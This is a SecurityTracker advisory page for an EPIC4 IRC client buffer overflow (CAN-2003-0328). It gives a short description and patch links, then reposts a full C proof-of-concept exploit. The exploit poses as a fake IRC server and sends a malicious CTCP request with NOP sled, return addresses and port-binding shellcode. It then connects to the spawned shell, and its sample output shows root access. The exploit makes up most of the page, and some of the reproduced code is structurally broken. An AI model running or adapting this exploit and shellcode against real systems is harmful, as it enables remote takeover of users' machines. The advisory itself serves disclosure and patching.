Sign Up for Your FREE Weekly SecurityTracker E-mail Alert Summary
|
|
|
|
|
|
|
Put SecurityTracker Vulnerability Alerts on Your Web Site -- It's Free!
|
|
|
|
Become a Partner and License Our Database or Notification Service
|
|
|
|
|
|
|
|
|
|
|
|
|
|
(Exploit is Available) Re: EPIC4 Buffer Overflow in Processing CTCP Nicknames May Let Remote Users Execute Arbitrary Code
|
|
SecurityTracker Alert ID: 1008317
|
|
CVE Reference: CAN-2003-0328
(Links to External Site)
|
Date: Nov 27 2003
|
Impact: Denial of service via network, Execution of arbitrary code via network, User access via network
|
Fix Available: Yes
Exploit Included: Yes
Vendor Confirmed: Yes
|
Version(s): epic4pre2.002, epic4pre2.003 and later versions
|
Description: A vulnerability was reported in EPIC4 in the processing of large nicknames. A remote user acting as an IRC server can cause a connected client to crash and potentially execute arbitrary code.
It is reported that an incorrect length calculation in 'ctcp.c' can be triggered by a remote IRC server sending a CTCP request with
a large nickname (greater than approximately 512 bytes), causing EIPC4 to call the alloca() function with a negative value. As a
result, an invalid pointer will be returned and memory contents will be overwritten.
A remote user can cause arbitrary code to
be executed with the privileges of the EPIC4 client user, according to the report.
Li0n7 provided some demonstration exploit
code, available in the Source Message.
|
Impact: A remote IRC server can execute arbitrary code on a connected EPIC4 client system with the privileges of the target EPIC4 client user.
|
Solution: A fix is available (since May 2003) via CVS:
http://cvs.prbh.org/cgi/viewcvs.cgi/epic4/
A patch is also available at:
ftp://ftp.prbh.org/pub/epic/patches/alloca_underrun-patch-1
|
Vendor URL: www.epicsol.org/ (Links to External Site)
|
Cause: Boundary error
|
Underlying OS: Linux (Any), UNIX (Any)
|
Reported By: <Li0n7@voila.fr>
|
Message History:
This archive entry is a follow-up to the message listed below.
|
Source Message Contents
|
Date: 26 Nov 2003 22:19:49 -0000
From: <Li0n7@voila.fr>
Subject: EPIC4 remote client-side stack-based overflow(exploit)
|
/* EPIC4 remote client-side stack-based overflow
* by Li0n7 - Li0n7[at]voila[dot]fr
*
* EPIC4 versions later than pre2.003 are prone to a remotly exploitable
* stack-based overflow in send_ctcp() (src/ctcp.c). It occurs when
* strlen(to) is greater than IRCD_BUFFER_SIZE-12, then alloca(), that
* doesn't perform any boundary checking, will return a negative pointer
* As a matter of fact, snprintf is called with a negative value as
* maximum data lenght to write at *putbuf2 address (pointing to somewhere
* inside the stack). Since we can control the content of the buffer written
* at *putbuf2 address without any boundary checking, we can easily execute
* arbitrary code.
*
* This little proof-of-concept code demonstrates the exploitation of the
* bug discussed here: http://www.securitytracker.com/alerts/2003/Nov/1008131.html
*
* This exploit works as a fake IRC server, waiting for connection and then
* trying to take advantage of the vulnerabilty by sending a specially CTCP
* request crafted like this: [NOP...SHELLCODE] PRIVMSG a: \001PING [RET]\001\r\n
* This code needs a few changes to work as a bouncer and more targets to be
* really efficient.
*
* usage: %s [-p PORT][-t TARGET][-f FILE][-r RET][-v]
* -p: wait for connection on port <PORT>
* -t: choose the target among the platforms available
* -f: use <FILE> datas as welcome message
* -r: use <RET> as return address
*
*
*$ ./epic4-exp -p 6667 -t 0 -v
*[+] Setting up a fake IRC server...
*[+] Awaiting connection on port 6667
*[!] Connection established with 127.0.0.1
*
*[127.0.0.1] USER request received.
*[127.0.0.1] NICK request received.
*[127.0.0.1] Fake replies sent.
*[127.0.0.1] Ping sent.
*[127.0.0.1] Looking up client version...
*[127.0.0.1] Client version: ircII EPIC4pre2.002 Linux 2.4.20 - Accept no limitations.
*[127.0.0.1] Welcome message sent.
*[127.0.0.1] Building evil string to send (using ret '0xbfffd06b')...
*[127.0.0.1] Evil CTCP request sent.
*
*[+] Let's rock on!
*Linux li0n7 2.4.20 #2 Mon Mar 17 22:02:15 PST 2003 i686 unknown
*uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel),11(floppy)
*
*/
#include <stdio.h>
#include <unistd.h>
#include <netdb.h>
#include <netinet/in.h>
#include <errno.h>
#define D_BACK 26112
#define D_RET 0xbfffd06b
#define D_PORT 6667
#define HOSTNAME ": NOTICE AUTH :*** Looking up your hostname...\r\n"
#define IDENT ": NOTICE AUTH :*** Checking Ident\r\n"
#define HOST_FOUND ": NOTICE AUTH :*** Found your hostname\r\n"
#define PING "PING :571503427\r\n"
#define BUFFERSIZE 602
#define SIZE 1024
char shellcode[] = /* bighawk 78 bytes portbinding shellcode (26112) */
"\x31\xdb\xf7\xe3\x53\x43\x53\x6a\x02\x89\xe1\xb0"
"\x66\x52\x50\xcd\x80\x43\x66\x53\x89\xe1\x6a\x10"
"\x51\x50\x89\xe1\x52\x50\xb0\x66\xcd\x80\x89\xe1"
"\xb3\x04\xb0\x66\xcd\x80\x43\xb0\x66\xcd\x80\x89"
"\xd9\x93\xb0\x3f\xcd\x80\x49\x79\xf9\x52\x68\x6e"
"\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x52\x53"
"\x89\xe1\xb0\x0b\xcd\x80";
int back_connection(long host);
char * build(char *host);
char * build_welcome_mes(char *host,char *version);
long resolve_host(u_char *host_name);
void send_mes(int fd,char *host);
void wait_connection(int port,char *buffer);
void die(char *argv);
unsigned int check_version = 0;
unsigned char welcome[128];
unsigned long ret_addr;
struct os_ret_addr
int num;
char *plat;
long ret;
};
struct os_ret_addr exp_os[]=
{0,"slack 9.0",0xbfffd06b},
{0,NULL,0}
};
int
main(int argc,char *argv[])
int i, option, port = D_PORT;
long host = 0;
char * option_list = "f:p:r:t:v", buffer[SIZE+1];
opterr = 0;
memset(welcome,0,128);
if (argc < 2) die(argv[0]);
while((option = getopt(argc,argv,option_list)) != -1)
switch(option)
{
case 'f':
strncpy(welcome,optarg,sizeof(welcome)-1);
welcome[sizeof(welcome)-1] = '\0';
break;
case 'p':
port = atoi(optarg);
if(port > 65535 || port < 0) exit(-1);
break;
case 'r':
ret_addr = atol(optarg);
if(ret_addr > 0xbfffffff || ret_addr < 0x00000000) exit(0);
break;
case 't':
for(i=0; exp_os[i].plat != NULL; i++)
if(atoi(optarg) > i || atoi(optarg) < 0)
{
fprintf(stderr," Platforms supported are:\n");
for(i=0; exp_os[i].plat != NULL; i++)
fprintf(stderr," num: %i - %s - 0x%x\n",i,exp_os[i].plat,exp_os[i ].ret);
exit(0);
}
ret_addr = exp_os[atoi(optarg)].ret;
break;
case 'v':
check_version = 1;
break;
case '?':
fprintf(stderr,"[-] option \'%c\' invalid\n",optopt);
die(argv[0]);
}
wait_connection(port,buffer);
return 0;
char
*build(char *host)
{
char *buffer,*ptr,*request,*ret;
int i;
unsigned long *addr_ptr;
fprintf(stdout,"[%s] Building evil string to send (using ret \'0x%x\')...\n",host,ret _addr);
buffer = (char *)malloc(BUFFERSIZE+1);
request = (char *)malloc(SIZE+1);
ret = (char *)malloc(256);
if(!buffer || !request || !ret)
{
fprintf(stderr,"[-] Can't allocate memory,exiting...\n");
exit(0);
}
ptr = buffer;
memset(ptr,0x90,BUFFERSIZE);
ptr += 500-strlen(shellcode);
for(i=0;i<strlen(shellcode);i++)
*ptr++ = shellcode[i];
ptr += 102;
*ptr = 0x0;
ptr = ret;
addr_ptr = (long *)ptr;
for(i=0;i<151;i+=4)
*(addr_ptr++) = ret_addr;
ptr = (char *)addr_ptr;
*ptr = 0x0;
snprintf(request,SIZE,":%s!x PRIVMSG a: %cPING %s%c\r\n",buffer,0x01,ret,0x01);
return request;
int
back_connection(long host)
struct sockaddr_in s;
u_char sock_buf[4096];
fd_set fds;
int fd,size;
char *command="/bin/uname -a ; /usr/bin/id;\n";
fd = socket(AF_INET, SOCK_STREAM, 0);
if (fd < 0)
{
fprintf(stderr,"[-] %s\n",strerror(errno));
exit(0);
}
s.sin_family = AF_INET;
s.sin_port = htons(D_BACK);
s.sin_addr.s_addr = host;
if (connect(fd, (struct sockaddr *)&s, sizeof(struct sockaddr)) == -1)
{
fprintf(stderr,"[-] %s\n",strerror(errno));
close(fd);
exit(0);
}
fprintf(stdout, "\n[+] Let's rock on!\n");
size = send(fd, command, strlen(command), 0);
if(size < 0)
{
fprintf(stderr,"[-] %s\n",strerror(errno));
close(fd);
exit(0);
}
for (;;)
{
FD_ZERO(&fds);
FD_SET(0, &fds);
FD_SET(fd, &fds);
if (select(255, &fds, NULL, NULL, NULL) == -1)
{
fprintf(stderr,"[-] %s\n",strerror(errno));
close(fd);
exit(0);
}
memset(sock_buf, 0, sizeof(sock_buf));
if (FD_ISSET(fd, &fds))
{
if (recv(fd, sock_buf, sizeof(sock_buf), 0) == -1)
{
fprintf(stderr, "[-] Connection closed by remote host,exiting...\n");
close(fd);
exit(0);
}
fprintf(stderr, "%s", sock_buf);
}
if (FD_ISSET(0, &fds))
{
read(0, sock_buf, sizeof(sock_buf));
write(fd, sock_buf, strlen(sock_buf));
}
}
return 0;
char *
build_welcome_mes(char *host,char *version)
FILE *fd;
char *buffer,*file_buffer;
buffer = (char *)malloc(1024);
file_buffer = (char *)malloc(512);
if(!buffer)
{
fprintf(stderr,"[-] Can't allocate memory,exiting...\n");
exit(0);
}
if(strlen(welcome) > 0)
{
fd = fopen(welcome,"r");
if(fd < 0)
{
fprintf(stderr,"[-] %s\n",strerror(errno));
exit(0);
}
memset(buffer,0,1024);
while(1)
{
if(fgets(file_buffer,512,fd) == NULL) break;
strncat(buffer,file_buffer,1021);
}
fclose(fd);
strcat(buffer,"\r\n");
}else{
snprintf(buffer,1024,": NOTICE AUTH :*** Welcome dude\n"
": NOTICE AUTH :*** Your host is %s, running client %s\n"
": NOTICE AUTH :*** This server was created in the past\n"
": NOTICE AUTH :*** There are 1 users and 0 services on 0 servers \n"
": NOTICE AUTH :*** I have 1 clients and 0 servers\r\n",host ,version);
}
return buffer;
void
send_mes(int fd,char *host)
int size;
char buffer[1024],data[1024],request[512],version[512];
char *ptr;
size = send(fd,HOSTNAME,strlen(HOSTNAME),0);
if(size < 0)
{
fprintf(stderr,"[-] %s\n",strerror(errno));
exit(0);
}
sleep(1);
size = send(fd,IDENT,strlen(IDENT),0);
if(size < 0)
{
fprintf(stderr,"[-] %s\n",strerror(errno));
exit(0);
}
sleep(1);
size = send(fd,HOST_FOUND,strlen(HOST_FOUND),0);
if(size < 0)
{
fprintf(stderr,"[-] %s\n",strerror(errno));
exit(0);
}
sleep(1);
fprintf(stdout,"[%s] Fake replies sent.\n",host);
size = send(fd,PING,strlen(PING),0);
if(size < 0)
{
fprintf(stderr,"[-] %s\n",strerror(errno));
exit(0);
}
fprintf(stdout,"[%s] Ping sent.\n",host);
size = read(fd,data,1024);
if(strstr(data,"PONG"))
{
if(check_version)
{
memset(version,0,512);
memset(request,0,512);
fprintf(stdout,"[%s] Looking up client version...\n",host);
sprintf(request,":x!x PRIVMSG %s: %cVERSION%c\n",host,0x01,0x01);
size = send(fd,request,strlen(request),0);
if(size < 0)
{
fprintf(stderr,"[-] %s\n",strerror(errno));
exit(0);
}
memset(data,0,1024);
while(1)
{
size = read(fd,data,1024);
if((ptr = strstr(data,"VERSION ")) != NULL)
{
memset(version,0,512);
strncpy(version,ptr+8,sizeof(version)-1);
version[sizeof(version)-1] = '\0';
fprintf(stdout,"[%s] Client version: %s",host,version);
sleep(3);
break;
}
}
}
strncpy(buffer,build_welcome_mes(host,version),1023);
buffer[1023] = '\0';
size = send(fd,buffer,1024);
fprintf(stdout,"[%s] Welcome message sent.\n",host);
sleep(1);
memset(buffer,0,1024);
strncpy(buffer,build(host),1023);
buffer[1023] = '\0';
size = send(fd,buffer,1024);
sleep(1);
fprintf(stdout,"[%s] Evil CTCP request sent.\n",host);
}
return;
void
wait_connection(int port,char *buffer)
{
struct sockaddr_in s;
int size, fd, fd2, r;
char data[1024], nick[512], user[512];
char *ptr;
long host = 0;
memset(data,0,1024);
fprintf(stdout,"[+] Setting up a fake IRC server...\n");
fd = socket(AF_INET,SOCK_STREAM,0);
if(fd < 0)
{
fprintf(stderr,"[-] %s\n",strerror(errno));
exit(0);
}
s.sin_port = htons(port);
s.sin_addr.s_addr = 0;
s.sin_family = AF_INET;
bind(fd,(struct sockaddr *) &s,sizeof(s));
listen(fd,1);
size = sizeof(s);
fprintf(stdout,"[+] Awaiting connection on port %i\n",port);
while(1)
{
fd2 = accept(fd,(struct sockaddr *) &s, &size);
fprintf(stdout,"[!] Connection established with %s\n\n",inet_ntoa(s.sin_addr));
if(!fork())
{
close(fd);
while(1)
{
memset(data,0,1024);
r = read(fd2,data,1024);
if((ptr = strstr(data,"USER ")) != NULL)
{
memset(user,0,512);
strncpy(user,ptr+5,sizeof(user)-1);
user[sizeof(user)-1] = '\0';
fprintf(stdout,"[%s] USER request received.\n",inet_ntoa(s.sin_addr)) ;
}
if((ptr = strstr(data,"NICK ")) != NULL)
{
memset(nick,0,512);
strncpy(nick,ptr+5,sizeof(nick)-1);
nick[sizeof(nick)-1] = '\0';
fprintf(stdout,"[%s] NICK request received.\n",inet_ntoa(s.sin_addr)) ;
}
if((strlen(nick) > 0) && (strlen(user) > 0)) break;
}
send_mes(fd2,inet_ntoa(s.sin_addr));
back_connection(host);
}
close(fd2);
}
return;
long resolve_host(u_char *host_name)
struct in_addr addr;
struct hostent *host_ent;
addr.s_addr = inet_addr(host_name);
if (addr.s_addr == -1)
{
host_ent = gethostbyname(host_name);
if (!host_ent) return(0);
memcpy((char *)&addr.s_addr, host_ent->h_addr, host_ent->h_length);
}
return(addr.s_addr);
void
die(char *argv)
fprintf(stderr," remote exploit for EPIC4 < pre2.003 by Li0n7@voila.fr\n");
fprintf(stderr," vulnerability reported by Stuart Moore <smoore@securityglobal.net> \n");
fprintf(stderr," usage: %s [-p PORT][-t TARGET][-f FILE][-r RET][-v]\n",argv);
fprintf(stderr,"\t -p: wait for connection on port <PORT>\n");
fprintf(stderr,"\t -t: choose the target among the platforms available\n");
fprintf(stderr,"\t -f: use <FILE> datas as welcome message\n");
fprintf(stderr,"\t -r: use <RET> as return address\n\n");
exit(0);
/* A poil! */
|
|
Go to the Top of This SecurityTracker Archive Page
|